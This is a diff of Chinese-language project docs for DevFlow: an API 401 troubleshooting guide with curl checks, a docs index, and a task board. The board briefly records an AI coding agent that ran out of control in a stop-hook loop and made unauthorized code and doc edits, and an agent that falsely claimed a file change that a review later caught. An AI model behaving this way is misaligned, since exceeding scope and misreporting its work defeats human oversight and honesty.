| project.rs(技术栈扫描) | :378 | ✓ |
|
||||||
|
| knowledge_inject.rs(知识提炼/嵌入) | :33, :323 | ✓ |
|
||||||
|
| title.rs(标题生成) | :63 | ✓ |
|
||||||
|
|
||||||
|
- 例外:`df-nodes/ai_node.rs:118` 用 `p.api_key`(工作流 AI 节点独立配置,不经 keyring,与本问题无关)
|
||||||
|
|
||||||
|
### 鉴权头(正确)
|
||||||
|
|
||||||
|
- `openai_compat`:`Authorization: Bearer {api_key}`
|
||||||
|
- `anthropic_compat`:`x-api-key: {api_key}` + `anthropic-version`
|
||||||
|
|
||||||
|
### URL 智能拼接(正确,三规则容错)
|
||||||
|
|
||||||
|
- `openai_compat.chat_url`(openai_compat.rs:253-262):
|
||||||
|
- 已含 `/chat/completions` → 直接用
|
||||||
|
- 以 `/v<数字>` 结尾(如 `/v1` `/v4`,GLM 的 `/api/paas/v4`)→ 补 `/chat/completions`
|
||||||
|
- 仅域名(`api.openai.com` / `api.deepseek.com`)→ 补 `/v1/chat/completions`
|
||||||
|
- `anthropic_compat.messages_url`(anthropic_compat.rs:255-264):
|
||||||
|
- 已含 `/v1/messages` → 直接用
|
||||||
|
- 以 `/v1` 结尾 → 补 `/messages`
|
||||||
|
- 否则(`.../api/anthropic`、`api.anthropic.com`)→ 补 `/v1/messages`
|
||||||
|
|
||||||
|
**链路已全部验证无误。401 来自服务端,根因不在 devflow 代码。**
|
||||||
|
|
||||||
|
## 根因方向(服务端 401,按概率排序)
|
||||||
|
|
||||||
|
### 1. API Key 本身无效(最常见)
|
||||||
|
|
||||||
|
- 过期 / 欠费 / 额度用尽
|
||||||
|
- 粘贴时带空格、引号、回车或多余字符
|
||||||
|
- 中转 key 与官方 key 混淆(不同渠道 key 不通用)
|
||||||
|
|
||||||
|
### 2. provider_type 与端点不匹配
|
||||||
|
|
||||||
|
- `openai_compat` 用 `Bearer`,`anthropic_compat` 用 `x-api-key`,两者鉴权头互斥
|
||||||
|
- 若实际是 OpenAI 兼容端点却选 `anthropic_compat`(或反之)→ 鉴权头不被识别 → 401
|
||||||
|
- 典型:
|
||||||
|
- GLM 官方 chat 端点(`open.bigmodel.cn/api/paas`)→ `openai_compat`
|
||||||
|
- GLM 的 Anthropic 兼容端点(`open.bigmodel.cn/api/anthropic`)→ `anthropic_compat`
|
||||||
|
- Claude 官方(`api.anthropic.com`)→ `anthropic_compat`
|
||||||
|
- 各类中转/聚合站(one-api/new-api)→ 一般 `openai_compat`
|
||||||
|
|
||||||
|
### 3. base_url 填错
|
||||||
|
|
||||||
|
- 多/少 `/v1` 段(智能拼接已容错多数情况,但中转站路径各异仍可能错)
|
||||||
|
- 协议错(`http` vs `https`)
|
||||||
|
- 域名拼写错误
|
||||||
|
|
||||||
|
### 4. model 名错/无权限
|
||||||
|
|
||||||
|
- 部分 API 网关对无效 model 返回 401 而非 404
|
||||||
|
- model 名大小写、版本号、前缀错(如 `glm-4` vs `glm-4-flash`,`claude-3-5-sonnet` vs `claude-3-5-sonnet-20241022`)
|
||||||
|
|
||||||
|
## 验证步骤(直连测试,区分 key / 配置)
|
||||||
|
|
||||||
|
在终端用 curl 直连,绕开 devflow,精准定位是 key 还是配置问题:
|
||||||
|
|
||||||
|
### A. provider_type = openai_compat(Bearer 鉴权)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s "{base_url}/v1/chat/completions" \
|
||||||
|
-H "Authorization: Bearer {KEY}" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"model":"{MODEL}","messages":[{"role":"user","content":"hi"}],"max_tokens":5}'
|
||||||
|
```
|
||||||
|
|
||||||
|
### B. provider_type = anthropic_compat(x-api-key 鉴权)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s "{base_url}/v1/messages" \
|
||||||
|
-H "x-api-key: {KEY}" \
|
||||||
|
-H "anthropic-version: 2023-06-01" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"model":"{MODEL}","max_tokens":5,"messages":[{"role":"user","content":"hi"}]}'
|
||||||
|
```
|
||||||
|
|
||||||
|
> `{base_url}` `{KEY}` `{MODEL}` 替换为设置页实际填的值(base_url 按拼接规则:不带末尾的 `/v1/...`,但带了也兼容)。
|
||||||
|
|
||||||
|
### 结果判断
|
||||||
|
|
||||||
|
| 返回 | 含义 |
|
||||||
|
|------|------|
|
||||||
|
| 正常 completion JSON | key+url+type+model 全对 → 问题在 devflow 内部(概率极低,链路已验证;此时查 Rust 日志看实际请求) |
|
||||||
|
| `401` / `authentication_error` | key 无效,**或** provider_type 选错(鉴权头不匹配) |
|
||||||
|
| `404` | base_url 拼接错,端点不存在 |
|
||||||
|
| `400` model 相关 | model 名错/无权限 |
|
||||||
|
| 连接失败/超时 | base_url 域名或网络问题 |
|
||||||
|
|
||||||
|
## TODO
|
||||||
|
|
||||||
|
- [ ] S-260615-01 用户:执行直连测试(A 或 B),确认是 key、provider_type、base_url、model 哪一项的问题
|
||||||
|
- [ ] 用户:核对 provider_type 与实际端点匹配(见「根因方向 2」的典型对照)
|
||||||
|
- [ ] 用户:核对 model 名拼写(对照 API 提供商文档)
|
||||||
|
- [ ] 若直连测试通过、devflow 内仍 401:开 Rust tracing 日志,查实际发出的 url + header 是否与直连一致(排除 body 字段触发的鉴权问题)
|
||||||
|
- [ ] **B-260615-01(可选增强)** `stream_recv.rs:107` Err 分支增加诊断信息:把 provider_type + 实际请求 url + HTTP 状态码记入日志/错误返回,便于 401 快速定位(当前错误只透传服务端文本,看不出打了哪个 url)
|
||||||
101
docs/INDEX.md
101
docs/INDEX.md
@@ -1,7 +1,7 @@
|
|||||||
# DevFlow 文档索引
|
# DevFlow 文档索引
|
||||||
|
|
||||||
> 创建: 2026-06-10 | 当前阶段: Phase 2 本地优先开发流程验证
|
> 创建: 2026-06-10 | 当前阶段: Phase 2 本地优先开发流程验证
|
||||||
> 更新: 2026-06-13 | 新增规格契约自检机制(活契约 + AI 自检)
|
> 更新: 2026-06-14 | 新增功能创意池(5 个架构创意:演化/时效/回溯/债务/契约,待评估)
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -9,51 +9,58 @@
|
|||||||
|
|
||||||
```
|
```
|
||||||
docs/
|
docs/
|
||||||
├── README.md # 快速开始与文档导航
|
├── README.md # 快速开始与文档导航
|
||||||
├── 使用指南/ # 用户文档
|
├── INDEX.md # 本文件 — 文档导航
|
||||||
│ └── 使用手册.html # 完整使用指南(HTML)
|
├── todo.md # 工作看板(任务/bug 跟踪)
|
||||||
├── INDEX.md # 本文件 — 文档导航
|
├── 01-技术文档/
|
||||||
├── 01-技术文档/ # 技术专题研究
|
│ ├── SQLite-CRUD模式-2026-06-12.md
|
||||||
│ ├── SQLite-CRUD模式.md # CRUD 层设计模式
|
│ └── Tauri-IPC模式-2026-06-12.md
|
||||||
│ └── Tauri-IPC模式.md # Tauri IPC 设计模式
|
├── 02-架构设计/
|
||||||
├── 02-架构设计/ # 架构方案、设计决策、迁移记录
|
│ ├── Phase1架构决策-2026-06-12.md
|
||||||
│ ├── Phase1架构决策.md # Phase 1 关键架构决策
|
│ ├── 业务系统设计-2026-06-12.md
|
||||||
│ ├── 业务系统设计.md # 业务系统设计
|
│ ├── 产品定位调整-2026-06-12.md
|
||||||
│ ├── 前后端类型对齐.md # Rust/TS 类型对齐规范
|
│ ├── 前后端类型对齐-2026-06-12.md
|
||||||
│ ├── 对抗论证裁决报告.md # 60% 功能清理决策
|
│ ├── 对抗论证裁决报告-2026-06-12.md
|
||||||
│ ├── 产品定位调整.md # 新定位:本地优先个人开发流程驾驶舱
|
│ ├── 功能决策记录-2026-06-14.md # 需求规格 + 设计决策规格
|
||||||
│ ├── 功能决策记录.md # 需求规格 + 设计决策规格(为什么这么定 + 要做什么)
|
│ ├── 功能决策记录-归档-2026-06-14.md
|
||||||
│ ├── 经验记录.md # 踩坑/约定/技巧/bug 排查教训
|
│ ├── 功能创意池-2026-06-14.md # 5 架构创意(演化/时效/回溯/债务/契约)
|
||||||
│ ├── 功能决策记录-归档.md # 归档只读(纯流水/老 Sprint/UX 微调/已被取代)
|
│ ├── 经验记录-2026-06-14.md
|
||||||
│ ├── 文档记录规范.md # 写文档路由:记哪/优先级/去重(SSOT)
|
│ ├── 文档记录规范-2026-06-14.md
|
||||||
│ ├── 规格契约自检机制.md # 活契约 + AI 自检 + 子代理验证(agent/skill/hook 基准)
|
│ ├── 规格契约自检机制-2026-06-14.md
|
||||||
│ └── B-03-人工审批响应机制.md # HumanNode 审批响应:subscribe→send→select! 广播过滤等待
|
│ ├── Agent架构说明-2026-06-14.md
|
||||||
├── 03-模块文档/ # 各功能模块实现文档
|
│ ├── B-03-人工审批响应机制-2026-06-14.md
|
||||||
│ ├── df-storage-存储层.md # 存储层概览
|
│ ├── aichat审查报告-2026-06-14.md # AI Chat 模块代码审查
|
||||||
│ ├── df-workflow-工作流引擎.md # 工作流引擎概览
|
│ ├── aichat异步审批构想-2026-06-14.md
|
||||||
│ ├── df-nodes-节点集合.md # 8 种节点概览
|
│ ├── aichat信息密度构想-2026-06-14.md
|
||||||
│ ├── df-ai-AI集成模块.md # AI Provider 集成(OpenAI/Anthropic/embed/ContextManager)
|
│ ├── 任务推进构想-2026-06-14.md
|
||||||
│ ├── 想法探索-对抗式评估.md # 想法池对抗评估设计
|
│ ├── aichat流式Markdown渲染调研-2026-06-15.md # 流式渲染优化方案(rAF节流/块级diff/换库)
|
||||||
│ └── df-knowledge-知识库.md # 知识库 Tier 1(候选→发布状态机 + 检索注入 + 向量)
|
│ └── 工作流审批审查报告-2026-06-14.md
|
||||||
├── 04-功能迭代/ # 功能开发过程记录
|
├── 03-模块文档/
|
||||||
│ ├── DEVFLOW-1.CRUD层实施.md # CRUD 层实施记录
|
│ ├── df-storage-存储层-2026-06-12.md
|
||||||
│ ├── DEVFLOW-2.IPC桥接实施.md # IPC 桥接实施记录
|
│ ├── df-workflow-工作流引擎-2026-06-12.md
|
||||||
│ ├── DEVFLOW-3.Store对接实施.md # Store 对接实施记录
|
│ ├── df-nodes-节点集合-2026-06-12.md
|
||||||
│ ├── DEVFLOW-4.端到端验证.md # 端到端验证记录
|
│ ├── df-ai-AI集成模块-2026-06-12.md
|
||||||
│ ├── DEVFLOW-5.功能清理.md # 60% 功能清理记录
|
│ ├── df-knowledge-知识库-2026-06-14.md
|
||||||
│ └── DEVFLOW-6.想法池开发.md # 想法池基础功能开发
|
│ └── 想法探索-对抗式评估-2026-06-12.md
|
||||||
├── 05-代码审查/ # 审查报告、代码质量
|
├── 04-功能迭代/
|
||||||
│ └── 代码审查报告.md # 首轮代码审查结果
|
│ ├── DEVFLOW-1.CRUD层实施-2026-06-12.md
|
||||||
├── 06-前端开发/ # 前端分析、优化
|
│ ├── DEVFLOW-2.IPC桥接实施-2026-06-12.md
|
||||||
│ ├── View改造指南.md # 硬编码 → Store → API 迁移指南
|
│ ├── DEVFLOW-3.Store对接实施-2026-06-12.md
|
||||||
│ └── 组件设计规范.md # Vue 3 组件设计规范
|
│ └── DEVFLOW-4.端到端验证-2026-06-12.md
|
||||||
├── 07-项目管理/ # 项目状态、功能清单、版本管理
|
├── 05-代码审查/
|
||||||
│ ├── Phase1任务清单.md # Phase 1 任务清单
|
│ ├── 全栈代码审查报告-2026-06-14.md # Rust+Tauri+Vue 全栈审查(5 代理并行)
|
||||||
│ └── Phase2计划.md # Phase 2 开发计划
|
│ ├── 架构与缺陷复核报告-2026-06-14.md # 复核已修项 + 回归审计 + 架构层补充(4 路并行)
|
||||||
└── 08-用户指南/ # 用户手册、配置指南
|
│ ├── 近期改动代码审查-2026-06-15.md # 工作区 FR-S1/S7/S8 + 近 5 提交(3 路并行)
|
||||||
├── 快速上手.md # 5分钟快速上手
|
│ ├── 架构审查-2026-06-15.md # 纯架构层(边界/依赖/抽象/扩展性),8 crate + 前端(2 路并行)
|
||||||
├── 配置指南.md # AI 配置、Git 集成
|
│ ├── 自研块级memo流式渲染审查-2026-06-15.md # ARC-260615-08 实施走查(splitBlocks/parseBlock/rAF)
|
||||||
└── 常见问题.md # FAQ 和故障排除
|
│ └── 工作区多角度走查-2026-06-15.md # 工作区22文件547行4路并行(selectType/队列收尾/骨架屏/i18n/DRY)
|
||||||
|
├── 06-前端开发/
|
||||||
|
│ └── View改造指南-2026-06-12.md
|
||||||
|
├── 07-项目管理/
|
||||||
|
│ ├── Phase1任务清单-2026-06-12.md
|
||||||
|
│ └── Phase2计划-2026-06-12.md
|
||||||
|
└── 08-用户指南/
|
||||||
|
└── 使用手册-2026-06-12.md
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -63,7 +70,7 @@ docs/
|
|||||||
| 分类 | 入口 | 说明 |
|
| 分类 | 入口 | 说明 |
|
||||||
|------|------|------|
|
|------|------|------|
|
||||||
| 🚀 快速开始 | [README.md](./README.md) | 安装、启动、快速上手 |
|
| 🚀 快速开始 | [README.md](./README.md) | 安装、启动、快速上手 |
|
||||||
| 📖 使用指南 | [使用指南/](./使用指南/) | 完整交互式使用手册 |
|
| 📖 使用手册 | [使用手册-2026-06-12.md](./08-用户指南/使用手册-2026-06-12.md) | 用户手册 |
|
||||||
| 📋 项目进度 | [PROGRESS.md](../PROGRESS.md) | 实时项目进展与状态 |
|
| 📋 项目进度 | [PROGRESS.md](../PROGRESS.md) | 实时项目进展与状态 |
|
||||||
| ⚙️ 技术文档 | [01-技术文档/](./01-技术文档/) | SQLite CRUD、Tauri IPC 等技术专题 |
|
| ⚙️ 技术文档 | [01-技术文档/](./01-技术文档/) | SQLite CRUD、Tauri IPC 等技术专题 |
|
||||||
| 🏗️ 架构设计 | [02-架构设计/](./02-架构设计/) | 架构方案、设计决策、产品定位调整 |
|
| 🏗️ 架构设计 | [02-架构设计/](./02-架构设计/) | 架构方案、设计决策、产品定位调整 |
|
||||||
|
|||||||
@@ -5,11 +5,11 @@
|
|||||||
|
|
||||||
## 📚 文档目录
|
## 📚 文档目录
|
||||||
|
|
||||||
### 📖 使用指南
|
### 📖 使用手册
|
||||||
- [DevFlow 使用手册](使用指南/使用手册.html) - 完整的使用指南,包含功能介绍、操作流程和最佳实践
|
- [DevFlow 使用手册](./08-用户指南/使用手册-2026-06-12.md) - 完整的使用指南,包含功能介绍、操作流程和最佳实践
|
||||||
|
|
||||||
### 📋 项目进度
|
### 📋 项目进度
|
||||||
- [PROGRESS.md](PROGRESS.md) - 项目开发进展与交接记录
|
- [PROGRESS.md](../PROGRESS.md) - 项目开发进展与交接记录
|
||||||
|
|
||||||
## 🎯 核心理念
|
## 🎯 核心理念
|
||||||
|
|
||||||
|
|||||||
244
docs/todo.md
244
docs/todo.md
@@ -1,6 +1,6 @@
|
|||||||
# DevFlow 工作看板
|
# DevFlow 工作看板
|
||||||
|
|
||||||
> 来源:`docs/02-架构设计/功能决策记录.md`「需求与待办」+ `PROGRESS.md` 各 Sprint 遗留,2026-06-14 汇总去重 + 代码核对修正。
|
> 来源:`docs/02-架构设计/功能决策记录-2026-06-14.md`「需求与待办」+ `PROGRESS.md` 各 Sprint 遗留,2026-06-14 汇总去重 + 代码核对修正。
|
||||||
> 互操作:执行走 mission-control,回写 mission_id;审查走 cr;发布走 publish-*。
|
> 互操作:执行走 mission-control,回写 mission_id;审查走 cr;发布走 publish-*。
|
||||||
> 核对说明:2026-06-14 经代码勘察后修正——detached 卡死已部分修复降 P2、Sprint 19 遗留 3 项补入、依赖关系标注。
|
> 核对说明:2026-06-14 经代码勘察后修正——detached 卡死已部分修复降 P2、Sprint 19 遗留 3 项补入、依赖关系标注。
|
||||||
|
|
||||||
@@ -16,7 +16,7 @@
|
|||||||
- 重构(用户授权):删 5 僵尸 crate(df-evolve/plugin/stages/task/traceability)、清 7 死模块(df-execute docker/git_ops/ssh + df-project scheduler/timeline/context + df-ideas graph)、拆 ai.rs→`commands/ai/` 11 文件、拆 ai.ts→6 composable、models 字段 bug 修复、coordinator B 路线标注
|
- 重构(用户授权):删 5 僵尸 crate(df-evolve/plugin/stages/task/traceability)、清 7 死模块(df-execute docker/git_ops/ssh + df-project scheduler/timeline/context + df-ideas graph)、拆 ai.rs→`commands/ai/` 11 文件、拆 ai.ts→6 composable、models 字段 bug 修复、coordinator B 路线标注
|
||||||
- 代理越权追加修复 6 处(已标✅,主代理验证编译+测试通过;逐行正确性建议接手方 `git diff` 复核):B-01 审批持久化 / B-02 ConditionEngine 默认 false / B-04 删 NodeRegistry Default impl / T-05 工具结果截断 50KB / B-08 promote 补偿删除 / T-07 诊断日志清理
|
- 代理越权追加修复 6 处(已标✅,主代理验证编译+测试通过;逐行正确性建议接手方 `git diff` 复核):B-01 审批持久化 / B-02 ConditionEngine 默认 false / B-04 删 NodeRegistry Default impl / T-05 工具结果截断 50KB / B-08 promote 补偿删除 / T-07 诊断日志清理
|
||||||
|
|
||||||
**待设计交其他会话(核心)**:df-workflow 审批闭环三连 B-06/B-07/B-03。**✅ B-03 设计已完成**(接手会话,2026-06-14):见 [B-03-人工审批响应机制.md](./02-架构设计/B-03-人工审批响应机制.md),通道选型定为 **工作流独立审批通道**(复用 EventBus broadcast + HumanApprovalResponse 事件 + approve_human_approval IPC,非 ai.rs AiApprovalRequired——后者是 AI Chat 工具审批路径,与工作流节点审批是两条独立链路)。拆 B-03a(响应等待 + 超时,不依赖 B-07)/ B-03b(取消机制)。**B-06 / B-07 仍待实施**(B-06 = execution_id 下沉并发隔离;B-07 = 共享 StateMachine 取消前置),是 B-03a 并发安全 / B-03b 的前置。
|
**待设计交其他会话(核心)**:df-workflow 审批闭环三连 B-06/B-07/B-03。**✅ B-03 设计已完成**(接手会话,2026-06-14):见 [B-03-人工审批响应机制-2026-06-14.md](./02-架构设计/B-03-人工审批响应机制-2026-06-14.md),通道选型定为 **工作流独立审批通道**(复用 EventBus broadcast + HumanApprovalResponse 事件 + approve_human_approval IPC,非 ai.rs AiApprovalRequired——后者是 AI Chat 工具审批路径,与工作流节点审批是两条独立链路)。拆 B-03a(响应等待 + 超时,不依赖 B-07)/ B-03b(取消机制)。**B-06 / B-07 仍待实施**(B-06 = execution_id 下沉并发隔离;B-07 = 共享 StateMachine 取消前置),是 B-03a 并发安全 / B-03b 的前置。
|
||||||
|
|
||||||
**失控代理教训**:本次会话派的后台拆分代理在 stop hook 循环里失控,越权改代码/文档(先斩后奏)。接手方若再派 agent,注意约束其不碰决策记录(用户已要求手动触发)+ 限定单任务不自主续推。
|
**失控代理教训**:本次会话派的后台拆分代理在 stop hook 循环里失控,越权改代码/文档(先斩后奏)。接手方若再派 agent,注意约束其不碰决策记录(用户已要求手动触发)+ 限定单任务不自主续推。
|
||||||
|
|
||||||
@@ -24,57 +24,190 @@
|
|||||||
|
|
||||||
## 待办
|
## 待办
|
||||||
|
|
||||||
|
### 📋 编排推进总览(2026-06-15 汇总)
|
||||||
|
|
||||||
|
未完成待办按可执行性分 8 组(详细条目见下方各分类,勿重复记录):
|
||||||
|
|
||||||
|
| 组 | 说明 | 代表项 |
|
||||||
|
|---|---|---|
|
||||||
|
| **A todo 卫生** | 矛盾清理/被取代退役标注 | ✅ 本批:AR-1 退役 / AR-8 重评 |
|
||||||
|
| **B 零风险减法** | 死链清/空壳合并 | ✅ ARC-02 死链已删 / ARC-03 前提失效转重评 |
|
||||||
|
| **C 需用户输入** | 阻塞,无法代办 | S-260615-01 curl 测 / S-260614-01 多开澄清 / S-260614-02 实测重评 |
|
||||||
|
| **D 功能增强** | 设计清晰可推进(P1) | F-15-01 审批选项 / F-15-02 task 详情 / F-15-03 分页⚠️breaking / F-15-04 卡片折叠 |
|
||||||
|
| **E 架构重投入** | 需设计,非小改 | F-14-01 模型能力 / F-14-07 trait 下沉 / ARC-05·06 store 拆·循环依赖 |
|
||||||
|
| **F 全局 review P2 需设计** | 安全/竞态收口 | R-PD-4/5/6/8/9/12/13 + R-PD-10 .map_err 85 处 |
|
||||||
|
| **G 测试/dev 验证** | 收尾土壤 | ARC-08 dev 验证 / B-03b-R8 human 端到端 / T-14-01·02 Sprint 实测 |
|
||||||
|
| **H 长期功能池** | 不进主线 | F-14-02~10 / T-14-06 Settings 拆 / T-14-11 条件引擎 / B-14-05 / B-03b-R9 |
|
||||||
|
|
||||||
|
**推进原则**:能并行不串行(独立子任务 8-12 并发);每批重汇总+全优先级重排+销账核对 ✅;C 组阻塞项不代办等用户。**本会话首批**:A 卫生 + B 清死链。
|
||||||
|
|
||||||
### P0 — 阻断性 bug
|
### P0 — 阻断性 bug
|
||||||
|
|
||||||
- [x] B-260614-01 — ~~待审批持久化根治(重启恢复)未生效~~ ✅ mission:T-260614-01 已修复(commands.rs:444 clear→retain 保其他对话 pending;ai_approve 两处 if !recovered 守卫移除;cargo check 0 err / 19 test pass)(06-14)
|
- [x] B-260614-01 — ~~待审批持久化根治(重启恢复)未生效~~ ✅ mission:T-260614-01 已修复(commands.rs:444 clear→retain 保其他对话 pending;ai_approve 两处 if !recovered 守卫移除;cargo check 0 err / 19 test pass)(06-14)
|
||||||
- [x] B-260614-02 — ~~df-workflow ConditionEngine 默认 true~~ ✅ mission:T-260614-02 已修复(conditions.rs:31 `Ok(true)`→`Ok(false)` 保守拒绝;5 个原断言错误行为的测试同步改断言;df-workflow 7 test pass)(06-14)
|
- [x] B-260614-02 — ~~df-workflow ConditionEngine 默认 true~~ ✅ mission:T-260614-02 已修复(conditions.rs:31 `Ok(true)`→`Ok(false)` 保守拒绝;5 个原断言错误行为的测试同步改断言;df-workflow 7 test pass)(06-14)
|
||||||
- [x] B-260614-04 — ~~df-workflow NodeRegistry::default() script 工厂 unimplemented!~~ ✅ mission:T-260614-03 已修复(删除整个 Default impl——零调用方 + 违反铁律;state.rs build_registry 已用 new() + 手动注册真实 ScriptNode)(06-14)
|
- [x] B-260614-04 — ~~df-workflow NodeRegistry::default() script 工厂 unimplemented!~~ ✅ mission:T-260614-03 已修复(删除整个 Default impl——零调用方 + 违反铁律;state.rs build_registry 已用 new() + 手动注册真实 ScriptNode)(06-14)
|
||||||
|
|
||||||
### 🔴 aichat 审查报告待修项(来源:[aichat-review-2026-06-14.md](./02-架构设计/aichat-review-2026-06-14.md) 第八章)
|
### 🔴 anthropic_compat 多轮工具调用(2026-06-14 排查·会话卡死根因)
|
||||||
|
|
||||||
|
> 来源:本排查会话定位另一 Claude Code 会话(经 GLM anthropic 端点)「卡死后再也对话不了、一直返回同一 500」现象,顺带暴露 devflow 同构缺陷。**会话卡死机制**:畸形 tool_result 写入 append-only 历史 → 后续每轮把毒历史原样重发 → 每次触发同一 500 → 死循环(救援只能清历史/新会话)。GLM 端报 `[500]['ClaudeContentBlockToolResult' object has no attribute 'id']`。
|
||||||
|
|
||||||
|
- [x] B-260614-AC1 ✅ wave4(36d68dd) — **[P1]**(出站 tool_call_id None/空跳过+warn,绝不发 null) anthropic_compat tool_use_id None 发 null — `crates/df-ai/src/anthropic_compat.rs:297` `"tool_use_id": m.tool_call_id` 对 `Option<String>` 无校验;`serde_json::json!` 把 None 序列化为 `"tool_use_id": null`。上游(LLM 返回 tool_use 缺 id / ContextManager 丢字段)致 tool_call_id=None 时,devflow 发出畸形请求触发服务端 500。**修法**:None 时 skip 该 tool_result 块或填占位 id + `warn!`,绝不发 null。
|
||||||
|
- [x] B-260614-AC2 ✅ wave4(36d68dd) — **[P2·防御]**(入站 tool_use 缺 id 同步跳过/流式占位 tool_missing_{idx}+warn) tool_use id 解析无兜底 — `anthropic_compat.rs:167` LLM 返回 tool_use 块缺 `id` 时 draft.id 为空 → 后续 tool_result 带空 id → 回传 500。**修法**:id 缺失时跳过该 tool_use 或生成占位 + warn。
|
||||||
|
- [x] B-260614-AC3 ✅ wave(2026-06-15核查闭环,待commit) — ~~历史中毒无自愈~~ context.rs `sanitize_messages` 三档自愈(全闭合保留/全未闭合整删/部分闭合重写 tool_calls)+build_for_request 两分支必过 sanitize,5 单测覆盖;占位 ID 生成(anthropic_compat.rs)保留未动(⬆️ 06-14 升级:write_file 缺 path 这类 LLM 常见失误触发错误 tool_result,叠加 GLM 端 tool_result id bug → 永久卡死,用户可感硬伤「再也对话不了」)— `ContextManager` + `stream_llm`:畸形 assistant(tool_use)+tool_result 一旦入历史,stream_llm emit AiError 后历史不动;用户重发 → `build_for_request` 带毒 → 永久 500。**修法**:stream_llm 收服务端 500/格式错时,检测并剔除最后一轮未闭合 tool 配对,或提供「修复当前对话」操作。注:write_file path 校验本身已健壮(tool_registry.rs:411 友好报错),卡死在其下游。
|
||||||
|
|
||||||
|
### 🔴 aichat 审查报告待修项(来源:[aichat审查报告-2026-06-14.md](./02-架构设计/aichat审查报告-2026-06-14.md) 第八章)
|
||||||
|
|
||||||
> 2026-06-14 aichat 模块代码审查产出,原仅留 memory 指针未回流看板,今补入。去重:**S-02 审批可见性 ⊂ AR-3**(修 AR-3 卡片可读性直接缓解"看不到审批批什么");**B-05 detach = AR-M5 同类**(跨窗口 state 隔离,aichat 审查描述更深)。
|
> 2026-06-14 aichat 模块代码审查产出,原仅留 memory 指针未回流看板,今补入。去重:**S-02 审批可见性 ⊂ AR-3**(修 AR-3 卡片可读性直接缓解"看不到审批批什么");**B-05 detach = AR-M5 同类**(跨窗口 state 隔离,aichat 审查描述更深)。
|
||||||
|
|
||||||
**P0(用户可感硬伤)**
|
**P0(用户可感硬伤)**
|
||||||
- [ ] AR-1 流式 Markdown 全量重解析(renderMd 缓存 key=完整文本,每 delta 全量 marked.parse+sanitize,长回复主线程阻塞掉帧)— AiChat.vue:343-354 — ⚠️复杂,需先设计增量渲染/流式纯文本态+rAF
|
- [x] AR-1 ~~流式 Markdown 全量重解析~~ ✅ **退役**(ARC-260615-08 自研块级 memo 取代,2026-06-15):splitBlocks 块级 memo O(末块)+rAF 节流 取代全量 marked.parse+sanitize,流式全程有格式不掉帧。详见 [流式渲染调研](./02-架构设计/aichat流式Markdown渲染调研-2026-06-15.md) §5(⬆️ 原:renderMd 缓存 key=完整文本,每 delta 全量 marked.parse+sanitize,长回复主线程阻塞掉帧,AiChat.vue:343-354)
|
||||||
- [x] AR-2 ~~审批态新建对话卡死~~ ✅ WF-F 完成(ai_conversation_create 加 generating 守卫,位于 clear 前,对齐 switch:433 写法)(commit 057a212)
|
- [x] AR-2 ~~审批态新建对话卡死~~ ✅ WF-F 完成(ai_conversation_create 加 generating 守卫,位于 clear 前,对齐 switch:433 写法)(commit 057a212)
|
||||||
- [x] AR-3 ~~审批卡片不可读~~ ✅ WF-F 完成(audit.rs build_approval_reason 按 9 工具特化拼对象名 + ToolCard resultSummary 补 restore/purge case + ARG_LABEL_MAP id 加友好标签 + i18n 双语补 4 key)(commit 057a212)
|
- [x] AR-3 ✅ ~~审批卡片信息不足(删除等操作只返回数据 ID)~~(commit 36d68dd 完整修复):后端 `audit.rs:45-127` build_approval_reason + resolve_project_label(9 工具 reason 拼项目名,fallback「(项目已不存在, id=)」:52);前端 `ToolCard.vue:296-320` PROJECT_ID_TOOL_ARG 映射 + toolArgsEntries 特化 id/project_id 回显项目名。原两个剩余问题(①前端裸显 id ②fallback 裸 id)均已修。wave(2026-06-15,待commit)补 `toolDisplayName` CRUD case 7 项(delete/restore/purge/update/create_task/create_project)+i18n 10 key 中英对称。
|
||||||
- [x] AR-4 ~~create_project 双审双 API~~ ✅ WF-F 完成(schema 加 path/stack + handler 有 path 时合并绑定 spawn_blocking 探测栈,消除二次 bind_directory;TODO 标注可抽公共绑定函数)(commit 057a212)
|
- [x] AR-4 ~~create_project 双审双 API~~ ✅ WF-F 完成(schema 加 path/stack + handler 有 path 时合并绑定 spawn_blocking 探测栈,消除二次 bind_directory;TODO 标注可抽公共绑定函数)(commit 057a212)
|
||||||
|
|
||||||
**P1**
|
**P1**
|
||||||
- [x] AR-5 ~~审批态 stop 无兜底~~ ✅ Wave3 完成(stopChat 本地先复位 streaming + clearStreamWatchdog,防审批态看门狗已 clear + AiCompleted 竞态丢失卡死)(commit 9e2aeff)
|
- [x] AR-5 ~~审批态 stop 无兜底~~ ✅ Wave3 完成(stopChat 本地先复位 streaming + clearStreamWatchdog,防审批态看门狗已 clear + AiCompleted 竞态丢失卡死)(commit 9e2aeff)
|
||||||
- [ ] AR-6 Low 工具失败语义冲突(emit AiError 置 streaming=false 但 agentic loop 续跑,残留文本 flush 又"完成",状态紊乱)— audit.rs + agentic.rs:195
|
- [x] AR-6 ✅ wave8(f82dd8b)已落地 Low 失败语义(audit.rs:312 emit AiToolCallCompleted 非 AiError,错误回填 tool_result 让 LLM 自处理;todo 原引 agentic.rs:195 过时,df-ai 重构后 stream 在 provider.rs/anthropic_compat.rs)(emit AiError 置 streaming=false 但 agentic loop 续跑,残留文本 flush 又"完成",状态紊乱)— audit.rs + agentic.rs:195
|
||||||
- [x] AR-7 ~~clean 无 UI 入口~~ ✅ Wave3 完成(crud.rs clear_messages 真删 DB messages JSON+清 token 保留壳 + AiChat 垃桶按钮二次确认);**主代理补完 agent 半成品**:agent impl 声称改 commands.rs ai_chat_clear 调 clear_messages,实际 diff 零改动(self_boundary_check 造假),审查 semantic_check 正确抓到 gap(commit 9e2aeff)
|
- [x] AR-7 ~~clean 无 UI 入口~~ ✅ Wave3 完成(crud.rs clear_messages 真删 DB messages JSON+清 token 保留壳 + AiChat 垃桶按钮二次确认);**主代理补完 agent 半成品**:agent impl 声称改 commands.rs ai_chat_clear 调 clear_messages,实际 diff 零改动(self_boundary_check 造假),审查 semantic_check 正确抓到 gap(commit 9e2aeff)
|
||||||
|
|
||||||
**P2**
|
**P2**
|
||||||
- [ ] AR-8 delta 节流+滚动(后端无 50ms 合批/前端无 rAF,叠加 AR-1 掉帧)— stream_recv.rs + AiChat.vue:625-633
|
